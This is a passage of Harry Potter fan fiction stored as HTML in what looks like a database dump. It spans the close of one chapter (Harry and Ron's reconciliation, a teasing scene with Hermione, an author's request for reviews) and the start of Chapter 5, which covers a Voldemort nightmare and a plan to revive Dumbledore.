that&#8230;that&#8230;MALFOY! I can&#8217;t believe her, my own flesh and blood consorting with filth like him!&#8221; Ron raked a hand through his short, stylish hair savagely. &#8220;After everything that slimy no good git has said and done, she&#8217;s dating him. Oh God, wait till I get my hands on him! I&#8217;ll pop him like the oily, white headed little pimple he is!&#8221; Ron threw his bottle against the wall where it shattered. He gave Harry a plaintive look. &#8220;Where did I go wrong with her Harry? Didn&#8217;t I do everything to show her how worthless that scumbag is?&#8221;</p>\n\n<p>&#8220;Yep, and Ron, keep it under your hat, but I think he may be using her to resurrect Voldemort.&#8221;</p>\n\n<p>&#8220;Don&#8217;t say his name!&#8221;</p>\n\n<p>&#8220;Ron, I am not about to go around calling that idiot &#8216;You-Know-Who.&#8217; He is and always will be Voldemort, there&#8217;s no use in being scared to call him that.&#8221;</p>\n\n<p>&#8220;Fine, you call him what you want, I&#8217;m sticking with &#8216;You-Know-Who&#8217;.&#8221; Ron frowned suddenly. &#8220;You say Malfoy may be using my sister?&#8221;</p>\n\n<p>&#8220;Yeah.&#8221;</p>\n\n<p>&#8220;So she may not be in control of herself, right? There may still be hope for her.&#8221; Ron said eagerly.</p>\n\n<p>&#8220;It&#8217;s entirely possible. I&#8217;ve got Bill looking into it, so you steer clear.&#8221; Harry gave Ron a hard look. &#8220;Alright?&#8221;</p>\n\n<p>&#8220;Yeah, alright.&#8221; Ron grumbled.</p>\n\n<p>&#8220;I mean it Ron, stay out of it, I don&#8217;t want Malfoy getting wind of anything.&#8221; Harry warned. </p>\n\n<p>&#8220;Okay, I&#8217;ll stay out of it.&#8221; </p>\n\n<p>&#8220;Good, I&#8217;ll let you know when and where we need you. Until then, keep up the appearance of being mad at me and Hermione. Just in case somebody&#8217;s spying on you,&#8221; said Harry, winking.</p>\n\n<p>&#8220;Got it, Ron said smiling. &#8220;It&#8217;s good to be working with you again Harry. Just like old times huh?&#8221;</p>\n\n<p>&#8220;Just like old times,&#8221; Harry agreed, a huge grin splitting his features. He waved and the air around him shimmered. He reappeared in his study seconds later. He checked his watch and saw that the time was past 8 o&#8217;clock; Harry was mildly surprised that Hermione wasn&#8217;t pacing a trench in the floor waiting for his return. He threw his cape on the sofa and stepped into the hallway. The sound of running water caught his attention, and the idea of a hot shower was so appealing that he commenced to strip right there in the hall. He opened the door and stepped into the steamy bathroom, he laid his glasses on the sink and eased over to the shower. He squinted, trying to make out Hermione&#8217;s form through the steamed glass and his incredibly poor eyesight. All he could see was a big pink blur in front of him, so he figured she wouldn&#8217;t get too upset if he joined her. Besides, he was too tired and sore after his fight with Ron to really care. The sound of the shower masked that of the door opening, and he stepped inside nearly giving Hermione a heart attack when she turned around.</p>\n\n<p>&#8220;HARRY! What are you doing in here? GET OUT!&#8221; Hermione struggled to cover herself.</p>\n\n<p>&#8220;I can&#8217;t see you, and I&#8217;m too tired to do anything even remotely strenuous.&#8221;</p>\n\n<p>&#8220;Harry! You&#8217;re hurt!&#8221; Hermione grabbed his head and tried to examine him, but he pushed her hands away.</p>\n\n<p>&#8220;Yeah, I&#8217;ll tell you all about it later. Bathe first, then heal.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Hermione said, grabbing a wash - cloth and soaping it up. &#8220;I have to say that I&#8217;m more than a little uncomfortable with this Harry.&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry. But remember what I said about using my power? If I heal myself it&#8217;s going to take a lot of my strength and I don&#8217;t have it to spare right now. So please do this for me.&#8221;</p>\n\n<p>&#8220;Alright, but you owe me big - time.&#8221;</p>\n\n<p>&#8220;What are you complaining about? You&#8217;re the one getting the free show. I can&#8217;t even tell what you look like.&#8221;</p>\n\n<p>&#8220;True.&#8221; Hermione grew quiet, and Harry wondered what was going on in her head.</p>\n\n<p>&#8220;What are you doing?&#8221; He asked, beginning to feel self conscious.</p>\n\n<p>&#8220;Enjoying the view,&#8221; Hermione said, and Harry could hear the smile in her voice.</p>\n\n<p>&#8220;That&#8217;s not funny, not to mention unfair.&#8221;</p>\n\n<p>&#8220;You used to watch me when we were at school, turnabouts is fair play.&#8221;</p>\n\n<p>&#8220;I only watched you a few times.&#8221;</p>\n\n<p>&#8220;You said you watched from 5th all the way to 7th year!&#8221;</p>\n\n<p>&#8220;I did, just not every night. I was exaggerating when I said that.&#8221;</p>\n\n<p>&#8220;Harry Potter!&#8221;</p>\n\n<p>&#8220;Look, can we continue this later? I really need to clean up, heal up, and rest up.&#8221;</p>\n\n<p>&#8220;This is not over Harry.&#8221; Hermione promised, running the cloth over his chest and shoulders. The soap cut through the dried blood and found every nick, scratch, cut, scrape, and gash inflicted by his battle with Ron. Hermione scrubbed his stomach, and back then handed the cloth to him for the more personal areas.</p>\n\n<p>&#8220;All yours. I&#8217;ll be waiting for you in your room when you get out.&#8221; She opened the door and stepped out, leaving Harry to contemplate the rapidly cooling water. </p>\n\n<p>Harry quickly finished bathing, stepped out of the shower and promptly stubbed his toe. He cursed, wrapped a towel around his waist, and headed for his room. He entered his bedroom to find Hermione wearing a robe and sitting on his bed with a pensieve cradled in her hands. She looked up when he walked in, set the pensieve aside, and leaped off the bed. She pushed him to a sitting position, and inspected his injuries. </p>\n\n<p>&#8220;Did Ron do this when you told him about us?&#8221;</p>\n\n<p>Harry grinned. &#8220;Yeah, and if you think I look bad, you should see him.&#8221;</p>\n\n<p>Hermione tutted impatiently, &#8220;Honestly Harry. I do hope you didn&#8217;t hurt each other too bad.&#8221; She tilted his head up and examined his black eye. &#8220;This looks like it hurts.&#8221;</p>\n\n<p>&#8220;Yeah, it does,&#8221; Harry grimaced when she pressed just a trifle too hard.</p>\n\n<p>&#8220;Sorry.&#8221; Hermione winced in sympathy. &#8220;I hate to ask this, but how did it go? Aside from the obvious fight I mean.&#8221;</p>\n\n<p>&#8220;Pretty good actually, he was okay with everything&#8230;after we beat the hell out of each other that is,&#8221; Harry added ruefully. &#8220;He sends his apologies by the way.&#8221;</p>\n\n<p>&#8220;Great. It&#8217;s about time he apologized for something.&#8221; Hermione said bitterly.</p>\n\n<p>&#8220;Now, now Hermione, be nice. You know being a bitch doesn&#8217;t suit you.&#8221; Harry chided.</p>\n\n<p>&#8220;Darn, and I try so hard.&#8221; She smiled suddenly.&nbsp; &#8220;Was Ron injured so bad that he had to go to a Mediwizard for his injuries?&#8221;</p>\n\n<p>&#8220;Nope, I whooshed them away.&#8221;</p>\n\n<p>&#8220;Why didn&#8217;t you do the same to your own?&#8221;</p>\n\n<p>&#8220;Pumpkin, half the fun of having a girlfriend is having her fuss over you when you get hurt.&#8221; He grinned.</p>\n\n<p>&#8220;Well, if that&#8217;s the criteria for being a girlfriend, then I&#8217;ve been yours since 1st year.&#8221;</p>\n\n<p>&#8220;That&#8217;s what Ron said, that you&#8217;ve always been mine or preferred me. He just didn&#8217;t want to accept it. He felt that since I got everything else in life, he deserved you. Then he insulted you, but not in a mean spirited way.&#8221; </p>\n\n<p>&#8220;Is he going to help?&#8221;</p>\n\n<p>&#8220;Yeah, he was very anxious to be friends again.&#8221; Harry frowned. &#8220;He&#8217;s been miserable without us.&#8221;</p>\n\n<p>&#8220;Well, I&#8217;m glad he&#8217;s come to his senses.&#8221;</p>\n\n<p>&#8220;Do you forgive him?&#8221;</p>\n\n<p>&#8220;Yes. As long as he doesn&#8217;t bring it up, neither will I.&#8221; She inspected the gash Harry had gotten from the whiskey bottle and tutted under her breath.</p>\n\n<p>&#8220;That&#8217;s fair, now, about my injuries,&#8221; Harry said.</p>\n\n<p>&#8220;Oh poor baby, let me kiss your boo boos away.&#8221; </p>\n\n<p>Harry smirked. &#8220;Just heal me, and don&#8217;t stop with just the visible wounds, make it a full body repair spell.&#8221;</p>\n\n<p>&#8220;Are you sure?&#8221;</p>\n\n<p>&#8220;Yeah, I have aches and pains in places you can&#8217;t reach,&#8221; said Harry. &#8220;Also, can you do something about my eyes? I had forgotten how big a pain wearing glasses was.&#8221;</p>\n\n<p>&#8220;You can&#8217;t fix them yourself?&#8221;</p>\n\n<p>&#8220;No, and I&#8217;m not sure why. I think it has something to do with Voldemort coming back. You can use my power to fix them, but I can&#8217;t.&#8221; Harry took her hand and placed it on his forehead. &#8220;Heal the body first, and then I&#8217;ll help you fix my sight.&#8221;</p>\n\n<p>&#8220;Alright Harry.&#8221; Hermione took her wand from the pocket of her robe and tapped Harry&#8217;s head three times. She muttered the healing spell, and his wounds closed and his energy returned.</p>\n\n<p>&#8220;Now the eyes,&#8221; Harry moved her hand down over his eyes and covered it with his own. &#8220;Concentrate on the healing spell, and I&#8217;ll channel my power through you. Keep repeating the spell and it should work&#8230;I hope.&#8221;</p>\n\n<p>&#8220;Okay Harry.&#8221; Hermione started chanting the spell under her breath.</p>\n\n<p>Harry felt her hand grow warm under his, and his eyes started to tingle pleasantly.</p>\n\n<p>&#8220;Ahh,&#8221; he sighed, &#8220;it&#8217;s working.&#8221; A few moments later he let go of Hermione&#8217;s hand and smiled broadly. &#8220;Much better! Thank you.&#8221;</p>\n\n<p>&#8220;Is that all I get?&#8221; Hermione asked. She leaned down and looked him in the eye, a mischievous grin playing about her lips.</p>\n\n<p>Harry&#8217;s now much keener eyesight awarded him a view of cleavage, and he answered her playful grin with a wicked one. &#8220;I&#8217;m sure I can think of something that would show my gratitude.&#8221;&nbsp; </p>\n\n<p>&#8220;I&#8217;ll bet you can,&#8221; Hermione said, noticing where he was looking, &#8220;and as much as I&#8217;d like to explore those possibilities, we simply must stop torturing ourselves.&#8221; She tugged her robe closed.</p>\n\n<p>&#8220;I know, but it is fun.&#8221; Harry pulled her down onto his lap and squeezed her bottom. He instantly regretted his action as it caused certain parts of his body to respond to the pressure caused by her firm behind. And since he was only wearing a towel, he knew she was as aware as he was. He covered his embarrassment by rubbing her thigh. </p>\n\n<p>&#8220;It&#8217;s nice to have a distraction every now and then.&#8221;</p>\n\n<p>&#8220;I agree,&#8221; Hermione said, slapping at his roaming hands. &#8220;However we should try to keep our senses and concentrate on the problems at hand.&#8221;</p>\n\n<p>&#8220;Alright, alright,&#8221; Harry looked at the pensieve setting on the side of the bed and indicated it with a nod of his head. &#8220;Mission accomplished I see.&#8221;</p>\n\n<p>&#8220;Yes, it was still in the Headmaster&#8217;s office just as McGonagall said.&#8221;</p>\n\n<p>&#8220;Did you find anything of interest in there?&#8221;</p>\n\n<p>&#8220;I&#8217;ve been waiting for you to get home.&#8221; </p>\n\n<p>&#8220;Oh. Well, there&#8217;s no sense wasting any more time. Let&#8217;s check it out.&#8221;</p>\n\n<p>&#8220;Aren&#8217;t you going to get dressed first?&#8221;</p>\n\n<p>&#8220;Why? They won&#8217;t be able to see me, and you already have, so where&#8217;s the problem?&#8221;</p>\n\n<p>&#8220;I give up. If you want to run around Dumbledore&#8217;s memories wearing nothing but a towel, then be my guest.&#8221;</p>\n\n<p>&#8220;You&#8217;re only wearing a robe,&#8221; said Harry, but Hermione&#8217;s expression shut him up. &#8220;Fine, I&#8217;ll throw something on.&#8221; Harry stood up quickly, unseating her and headed for his dresser. He grabbed a pair of briefs and sweats and pulled them on right in front of her. He snagged a shirt off the bed, yanked it on and looked at her.</p>\n\n<p>&#8220;Happy now?&#8221;</p>\n\n<p>&#8220;Yes, thank you.&#8221;</p>\n\n<p>&#8220;Let&#8217;s get this over with so I can get some sleep.&#8221; Harry said, sitting back down and staring into the bowl. Hermione sat next to him and placed her head beside his. They stared for a good few minutes, moving their heads closer and closer until their noses touched the silvery liquid inside. Harry&#8217;s bedroom lurched, and they fell forward into the bowl.</p>\n\n<p><b><i>&nbsp;</i></b></p>\n\n<p><b><i>&nbsp;</i></b></p>\n\n<p><b><i>To Be Continued</i></b></p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p><b>Author&#8217;s Notes:</b>&nbsp; Please read and review.&nbsp; I&#8217;ll take any kind of constructive criticism.&nbsp; I <b>really need</b> some good constructive criticism.&nbsp; If you like it, tell me why &amp; in detail.&nbsp; If you don&#8217;t like it, tell me why &amp; in extreme detail.&nbsp; I&#8217;ll even take flames, <b>IF</b> they are constructive.&nbsp; Remember, the more reviews I get the faster I can get out the other chapters!&nbsp; = )</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p> '),
	(107, 5, ' <p><b><u>Chapter 5</u></b></p>\n\n<p><b></b></p>\n\n<p>Several hours passed before Harry and Hermione emerged from the pensieve. To say that Harry was in a foul mood would have been an understatement.</p>\n\n<p>&#8220;Well THAT was a colossal waste of time!&#8221; Harry snapped. </p>\n\n<p>&#8220;Calm down Harry,&#8221; Hermione placed a hand on Harry&#8217;s arm. &#8220;We did learn one thing of importance.&#8221;</p>\n\n<p>Harry sniggered nastily, &#8220;Yeah, only the person whose memories are in the pensieve has access to all of them.&#8221;</p>\n\n<p>&#8220;Well, at least now we know that, and can search elsewhere for the book.&#8221;</p>\n\n<p>&#8220;I don&#8217;t want to search elsewhere! I wanted to find the damn thing and get it over with!&#8221;</p>\n\n<p>Hermione watched him pace back and forth, one eyebrow arched in annoyance. </p>\n\n<p>&#8220;Harry, stop it! This is no time to throw a tantrum!&#8221;</p>\n\n<p> Harry closed his eyes, took a deep breath and blew it out slowly. &#8220;I&#8217;m sorry. I&#8217;m just a tad disappointed.&#8221;</p>\n\n<p> &#8220;I understand,&#8221; Hermione said softly, and wrapped her arms around his waist. &#8220;You&#8217;ve been at this for so long. I can see where you&#8217;d jump at the chance to end it quickly. You pinned all your hopes on the pensieve, and it&#8217;s fallen through.&#8221;</p>\n\n<p> &#8220;Yeah, and it really irritates me, because I should have known better!&#8221; </p>\n\n<p> &#8220;Harry, there was no way for you to foresee this.&#8221;</p>\n\n<p> &#8220;Sure there was, but it would have involved me removing my head from my ass.&#8221;</p>\n\n<p> &#8220;Harry, you&#8217;re being far too hard on yourself.&#8221;</p>\n\n<p> &#8220;I&#8217;m going to bed,&#8221; Harry said shortly.</p>\n\n<p> &#8220;Harry, we have to talk about this! You can&#8217;t let it get you down!&#8221; Hermione insisted.</p>\n\n<p> &#8220;I&#8217;m fine. I just need a good night&#8217;s sleep, and I&#8217;ll deal with everything tomorrow.&#8221;</p>\n\n<p> &#8220;Are you sure?&#8221; Hermione asked, worry evident in her voice.</p>\n\n<p> &#8220;Yeah, don&#8217;t worry about me,&#8221; He reassured here. &#8220;You go on to bed too. I&#8217;ll see you in the morning.&#8221;</p>\n\n<p> &#8220;Okay,&#8221; she said hesitantly. </p>\n\n<p> Harry grinned, &#8220;I mean it. I&#8217;m fine, go get some sleep.&#8221;</p>\n\n<p> &#8220;Okay, night,&#8221; Hermione smiled, gave him a quick peck on the lips and left the room.</p>\n\n<p> Harry watched her walk away, and then closed the door, shaking his head. He yanked off his shirt and flopped on the bed. He rested his head on his folded arms and closed his eyes. His mind wondered over several topics before succumbing to blissful sleep.</p>\n\n<p>\n\n<i>It was a large room, dimly lit by five candles arranged in a pentagram. Two men knelt in the center of the candles, their heads bowed before a shrouded figure. The larger man lifted his head and spoke.</i></p>\n\n<p><i> &#8220;Master, why have you summoned us?&#8221;</i></p>\n\n<p><i> The shrouded figure turned its back on the men and faced into the darkest corner of the room. An intense green light shone from the hood onto the wall. Words formed but were unreadable to Harry&#8217;s dreaming mind, and the men looked at one another, for the words to them were crystal clear.</i></p>\n\n<p><i> &#8220;Master, you must be patient. These things cannot be rushed or complications could arise.&#8221;</i></p>\n\n<p><i> The voice that came from the figure was icy cold and grating, like fingernails on a chalkboard, and the two men winced.</i></p>\n\n<p><i> &#8220;Patience I have, Lucius, it is a body that I lack.&#8221;</i></p>\n\n<p><i> &#8220;Of course, Master. We are preparing the potion which will return your full power upon your birth, but&#8230;&#8221;</i></p>\n\n<p><i> &#8220;I am aware of the difficulties you face, Lucius.&#8221; The figure turned to the smaller man. &#8220;However, YOU, Draco begin to try my patience. What is causing the delay?&#8221;</i></p>\n\n<p><i> Draco looked up, &#8220;Master, the girl wishes to wait till we are married.&#8221;</i></p>\n\n<p><i> &#8220;I know that, Draco. Why hasn&#8217;t the ceremony been performed already?&#8221;</i></p>\n\n<p><i> Draco quailed under the faceless gaze of his master. &#8220;I am sorry Master&#8230;I&#8230;I&#8230;I have been reluctant to tell the girl&#8217;s parents because then I would be forced to lower myself in order to associate with them on a social level.&#8221;</i></p>\n\n<p><i> Lucius muttered something under his breath and the dark figure&#8217;s glowing countenance fell on Draco with the force of an anvil.</i></p>\n\n<p><i> &#8220;You place your petty concerns above ME?&#8221; The figure&#8217;s voice had lowered until it was barely audible.</i></p>\n\n<p><i> Draco turned as white as his hair. &#8220;Of course not, Master! I&#8230;I&#8230;I merely meant to say that&#8230;&#8221;</i></p>\n\n<p><i> &#8220;SILENCE!&#8221;</i></p>\n\n<p><i> Lucius and Draco both jumped back but found themselves floating closer to the dark figure. &#8220;I have given you time enough,&#8221; the dark figure stared at Draco, then turned to the elder Malfoy. &#8220;Lucius, you will insure that I do not have to reprimand this boy again.&#8221; The dark one turned back to Draco. &#8220;If I do, the consequences will be&#8230;severe.&#8221; A slender hand reached out and caressed Draco&#8217;s cheek for a moment, before digging the thumbnail cruelly into the nerve cluster around the cheekbone, and making the young man scream in pain. &#8220;I trust I&#8217;ve made myself clear.&#8221;</i></p>\n\n<p><i> Draco held himself absolutely still, waiting for the dark figure to release him. He nodded slowly, unable to speak.</i></p>\n\n<p><i> &#8220;Yes, Master,&#8221; Lucius said.</i></p>\n\n<p><i> &#8220;Good. You please me, Lucius. If your son cannot accomplish the task I set for him, you will provide me with life in his stead.&#8221;</i></p>\n\n<p><i> &#8220;But, Master!&#8221; Draco cried. &#8220;The girl is mine!&#8221;</i></p>\n\n<p><i> &#8220;You forget yourself, Draco,&#8221; the dark one&#8217;s voice held a note of amusement. &#8220;You shall have the girl, but if you fail&#8230;&#8221;</i></p>\n\n<p><i> &#8220;I shall not fail you, Master.&#8221; </i></p>\n\n<p><i> The dark one stepped back into the shadows, knelt down, then the cloak fell forward to the floor. Draco stood up and went to the cloak. He knelt down and took the hood in his hand. He lifted it, and looked at what was on the floor.&#8221;</i></p>\n\n<p>\n\n</p>\n\n<p>Harry awoke with a start, his sheets soaked with sweat. He pushed wet hair out of his eyes and sat up. That had been a weird dream, and yet it had seemed impossibly real. This was the fifth time in a row that it had happened. Five times since he and Hermione had returned from their fruitless search in Dumbledore&#8217;s pensieve. He got out of bed and stretched his back. He did not like thinking about what he had heard and seen, and even as he thought about it, the specific details were becoming hard to recall, just as they always did. He lay back down and tried to get comfortable again. He concentrated on the dream, but the images would not come, not that he really expected this time to be any different. Giving up, Harry rolled over on his stomach, punched his pillow a few times then buried his head in his arms. He lay there for several minutes, trying to fall back to sleep, but sleep was not to be found. He considered whipping up a sleeping draught, but did not like relying on magic to solve all his problems the way most magic folk did. He may have been born a wizard, but he had been raised as a Muggle, and even though he had suffered during his childhood, he found himself thanking God that he had had that time in which to grow tough. He smiled when he thought about how horrified the Dursleys would be to know that he appreciated the way they had treated him. He finally fell asleep with that happy thought in his head.</p>\n\n<p>Harry woke up the next day a few minutes before <st1:time minute="0" hour="12">noon</st1:time>. He sat up and stared at the clock, shocked that he had slept so late. He climbed out of bed and headed for the shower. He came out several minutes later, towelling his hair dry. He tossed the damp towels on the floor and got dressed. He grabbed a short length of leather off the dresser and tied his still damp hair back in a ponytail. It occurred to him that he had not heard anything out of Hermione, so he made his way to her room. He knocked lightly on the door, but she did not answer.</p>\n\n<p>&#8220;Hermione are you in there?&#8221; Harry called softly. He opened the door and peeked in. </p>\n\n<p>Hermione was sprawled across the bed on her stomach. She had one leg curled up sticking out from under the covers, and her arms were wrapped around the spare pillow. She moaned and mumbled in her sleep, muttering &#8216;<i>Harry</i>&#8217; a few times before burying her face into the pillow in her arms, and becoming silent. Harry stood there watching her for a moment, contemplating whether to wake her or not. He finally decided to just let her sleep, and left the room.</p>\n\n<p>Harry went into the kitchen, and started coffee. It was a habit he had acquired in <st1:country-region><st1:place>America</st1:place></st1:country-region> and he found the taste more to his liking than the usual British tea. He fixed himself a cup, and set about preparing breakfast. He scrambled eggs, made toast, and fried sausage. He fixed a second cup of coffee, placed everything on a tray, covered it with a napkin and carried it to Hermione&#8217;s room. He opened the door with a wave of his finger, and went inside. He stood a safe distance away from the bed, and called Hermione&#8217;s name loudly.</p>\n\n<p>Hermione sat up quickly, one hand streaking for her wand and the other yanking the covers up to her chin, she stared up at him.</p>\n\n<p>&#8220;Harry! What are you doing in here?&#8221;</p>\n\n<p>Harry indicated the covered tray in his arms with a nod of his head. &#8220;I made breakfast,&#8221; he said, smiling. </p>\n\n<p>&#8220;You did? You&#8217;re so sweet!&#8221; Hermione smoothed the covers and Harry set the tray in front of her and seated himself on the edge of the bed.</p>\n\n<p>&#8220;I hope you like it,&#8221; Harry said a trifle nervously. &#8220;I haven&#8217;t done this in quite a while and could be a tad rusty.&#8221;</p>\n\n<p>Harry watched as Hermione gave the eggs on her fork an apprehensive glance, swallowed audibly, and then stuck them in her mouth, chewing carefully. He hoped that everything was up to par. At one time, he had been very good in the kitchen, but years of living at Hogwarts and then running around the world with Sirius had been detrimental to his culinary skills. </p>\n\n<p>&#8220;How is it?&#8221; he asked.</p>\n\n<p>&#8220;They&#8217;re very good, Harry,&#8221; Hermione gave him an impish grin. &#8220;Maybe you should do this every morning.&#8221;</p>\n\n<p>&#8220;Is that a proposal?&#8221; Harry asked smiling and sipping his coffee.</p>\n\n<p>Hermione dropped her fork, and turned bright red. &#8220;I&#8230;I&#8230;I didn&#8217;t mean it like that!&#8221;</p>\n\n<p>Harry smiled softly. &#8220;I know.&#8221;</p>\n\n<p>Hermione slapped him on the arm. &#8220;Don&#8217;t tease me, Harry. You know I hate to be teased.&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry,&#8221; Harry said, and pushed a piece of toast toward her. &#8220;You better eat everything on your plate, or you&#8217;ll hurt my feelings,&#8221; he said pouting.</p>\n\n<p>&#8220;I wouldn&#8217;t want to do that,&#8221; said Hermione. She used her fork to cut one of the sausages. &#8220;Bite?&#8221; she asked.</p>\n\n<p>&#8220;Thanks.&#8221; He took the proffered piece of sausage and chewed thoughtfully. His mind wandered back to his half remembered dream. The specifics eluded him, but he was vaguely aware that it had something to do with the Malfoys. He was attempting to recall what had happened when Hermione broke into his thoughts.</p>\n\n<p>&#8220;All done,&#8221; said Hermione holding up her empty plate and smiling. &#8220;It was delicious.&#8221;</p>\n\n<p>Harry took the dishes and set them on the tray. &#8220;I&#8217;ll run these to the kitchen, you get dressed so we can study on what to do about that blasted book.&#8221;</p>\n\n<p>Hermione slid out of bed, turned her back to him and pulled her night gown over her head. She looked back over her shoulder, smiled, and playfully tossed the silky garment onto his head. </p>\n\n<p>Harry gathered the material in his hands, and inhaled her scent, burying his face into the softness. Opening his eyes, he laid the gown on the bed, gathered the tray and left the room. He dropped the dishes and tray off at the kitchen, grabbed a soda from the fridge and went to his study. He sat down behind his desk, laced his fingers behind his head, and propped up his feet. Harry turned his thoughts towards their wasted foray into Dumbledore&#8217;s memories. He had been sure that the answer to their problem laid somewhere in Dumbledore&#8217;s pensieve, but they had come up empty. He grabbed his bottle of soda off the desk, opened it and took a swig. </p>\n\n<p>Harry stared at the liquid in the bottle, his mind racing, trying desperately to come up with some way to find the missing book. Their library search had been fruitless, and the pensieve a bust. He was running out of ideas, and it was starting to get to him. His hand tightened on the bottle, and he heard the glass creak under the pressure. He set it back down to keep from accidentally shattering it, and got up to pace. He had made three circuits by the time Hermione entered the room.<br>\n &#8220;I got nothing,&#8221; Harry said, before Hermione had the chance to speak. &#8220;Can you think of any spell, charm or incantation that might help us?&#8221;</p>\n\n<p>Hermione took a seat next to his desk, leaned back and chewed her bottom lip in thought. &#8220;There <i>are</i> locator spells, but you have to know specifically <i>what</i> you&#8217;re looking for, a general idea or vague description won&#8217;t work, plus you have to know where you last had it.&#8221;</p>\n\n<p>&#8220;That sucks. Maybe if we modified a locator spell, and I boosted it?&#8221;</p>\n\n<p>Hermione shook her head, &#8220;Nuh-uh, it doesn&#8217;t work that way, Harry.&#8221;</p>\n\n<p>Harry resumed pacing, one wild idea after another flitting through his head. He thought about everything they had tried, and some of the things they had not. His mind kept returning to one in particular. He was hesitant to speak it aloud, but he needed another point of view before making a decision. &#8220;Hermione,&#8221; he said, strolling over to his desk and taking a drink from his soda. &#8220;What about Dumbledore?&#8221;</p>\n\n<p>&#8220;What about him?&#8221;</p>\n\n<p>&#8220;Could we&#8230;I don&#8217;t know, maybe temporarily heal him?&#8221;</p>\n\n<p>&#8220;How, we searched high and low for any spell that could reverse the effects, and so far we&#8217;ve come up empty.&#8221;</p>\n\n<p>&#8220;Not a spell Hermione, I mean boosting his immune system or increasing his power enough that it pushes the curse back far enough for a simple healing spell to bring back his hearing.&#8221;</p>\n\n<p>&#8220;I don&#8217;t think so, Harry, that curse is very, very powerful.&#8221;</p>\n\n<p>&#8220;So am I.&#8221;</p>\n\n<p>&#8220;I know that, Harry, but are you powerful enough to repair all the damage, or just enough to make him coherent? If you can only heal him a little bit then he&#8217;ll have to go through all that pain again.&#8221;</p>\n\n<p>&#8220;I know that!&#8221; Harry started pacing again, his thoughts coming together. He spoke to himself as he paced; completely forgetting Hermione was there. &#8220;I can transfer enough power to bring him around, and heal his deafness, and then I can alter the spell and use it to hold the curse off long enough to get the information, and then I can turn it into a numbing charm, that way he won&#8217;t feel the pain as the curse takes effect again.&#8221;</p>\n\n<p>Hermione jumped up alarmed. &#8220;Harry you can&#8217;t! If you give him that much of your power, you&#8217;ll drain yourself!&#8221;</p>\n\n<p>Harry shook his head. &#8220;It can&#8217;t be helped, Pumpkin.&#8221;</p>\n\n<p>&#8220;Please reconsider this, Harry.&#8221;</p>\n\n<p>&#8220;I have.&#8221;</p>\n\n<p>&#8220;No. I can&#8217;t let you.&#8221;</p>\n\n<p>&#8220;You can&#8217;t stop me either.&#8221;</p>\n\n<p>&#8220;I know&#8230;Harry, just give me a second to explain.&#8221; Hermione thought a moment, and then looked into his eyes. &#8220;There&#8217;s no way I&#8217;m letting you take this on alone, Harry,&#8221; she stated firmly. &#8220;I&#8217;ll get the information from him, and you deal with the curse.&#8221;</p>\n\n<p>Harry brightened. &#8220;That makes it loads easier on me, I&#8217;ll only have to channel enough energy into him to revive him, and then hold the curse off long enough for you to heal his hearing, and ask the question.&#8221; He looked sideways at Hermione. &#8220;If you hurry, it should only cost me as much power as it takes to levitate this house.&#8221;</p>\n\n<p>Hermione looked unconvinced. &#8220;That&#8217;s still a lot of power to transfer.&#8221;</p>\n\n<p>Harry nodded, &#8220;Yeah, it&#8217;s a lot, but I can do it. I know I can.&#8221; He took Hermione hand and looked into her eyes. &#8220;It&#8217;s a risky proposition, but it&#8217;s all we have. We&#8217;re out of options.&#8221;</p>\n\n<p>&#8220;Can you give me a few more days to think of something?&#8221; Hermione asked softly. &#8220;If I can&#8217;t come up with anything, then we try your idea.&#8221;</p>\n\n<p>Harry xgrinnedx raised an eyebrow, &#8220;How many is &#8216;a few&#8217;?&#8221;</p>\n\n<p>&#8220;Give me a week, two at the most, I&#8217;ll figure something out, I promise,&#8221; her voice was full of determination.</p>\n\n<p>&#8220;So you want me to leave this all to you for the next week?&#8221; she nodded and he sighed, &#8220;What am I supposed to do during that time?&#8221;</p>\n\n<p>&#8220;You train. Practice or whatever it is you do, get stronger, more powerful. Every little bit helps, and the more powerful you are, the more power you&#8217;ll have as reserve.&#8221;</p>\n\n<p>&#8220;Are you sure?&#8221; Harry asked.</p>\n\n<p>&#8220;You know me, Harry. I work so much better under pressure.&#8221; Hermione snorted sarcastically.</p>\n\n<p>&#8220;Alright,&#8221; said Harry, still not fully convinced. &#8220;I&#8217;ll be in the gym if you need me.&#8221;</p>\n\n<p>Hermione looked perplexed. &#8220;Gym?&#8221; she asked. &#8220;I didn&#8217;t know you had a gym. Where is it?&#8221;</p>\n\n<p>&#8220;There are two entrances, one in the back of my closet, and one off the hall closet.&#8221; Hermione raised an eyebrow but did not say anything. Harry continued, &#8220;It&#8217;s fully equipped with all the most modern machines and gadgets, as well as a complete arsenal of weapons, everything from throwing knives to submachine guns.&#8221;</p>\n\n<p>&#8220;Planning a war?&#8221;</p>\n\n<p>Harry shrugged, &#8220;Nah, but I&#8217;m prepared in case one breaks out again,&#8221; he said, his good mood fading quickly.</p>\n\n<p>Hermione&#8217;s eyes widened in alarm, &#8220;D&#8217;you really think it will come to that?&#8221;</p>\n\n<p>&#8220;I dunno,&#8221; Harry said grimly, &#8220;but if it does, I intend to take the fight to him rather than wait around for him to use my friends against me.&#8221;</p>\n\n<p>&#8220;Harry, you don&#8217;t still blame yourself for what happened to us in 5<sup>th</sup> year, do you?&#8221;</p>\n\n<p>&#8220;Of course I do!&#8221; Harry snapped. &#8220;I almost lost Sirius for good! If it hadn&#8217;t been for my &#8216;heroic tendencies,&#8217;&#8221; his voice grew bitter, and Hermione winced behind him &#8220;we would never have gone to the Department of Mysteries, we wouldn&#8217;t have been captured, and the Order wouldn&#8217;t have had to come to our rescue and Sirius wouldn&#8217;t have fallen through The Veil!&#8221;</p>\n\n<p>&#8220;Stop it!&#8221; Hermione grabbed him by the shoulders and shook him, &#8220;Harry! You saved him though! You went in and got him, you didn&#8217;t let a little thing like dying stop you either, you crossed over and you brought him back to us.&#8221;</p>\n\n<p>&#8220;I know, but when I think about how easily it could have been for real, or if someone else had died&#8212; Ron, Ginny, Luna, Neville, Tonks or&#8212;&#8220; Harry&#8217;s voice grew husky, &#8220;<i>you</i>.&#8221; He pinned her with his gaze, &#8220;As bad as I felt when I thought I&#8217;d lost Sirius, I know that losing <i>you</i> would have been the end of me.&#8221; </p>\n\n<p>&#8220;You didn&#8217;t make us go, Harry. We chose to follow you.&#8221; Hermione&#8217;s voice was soft, and she drew him into her embrace, pulling his head down to rest on her shoulder. &#8220;I told you a long time ago that you 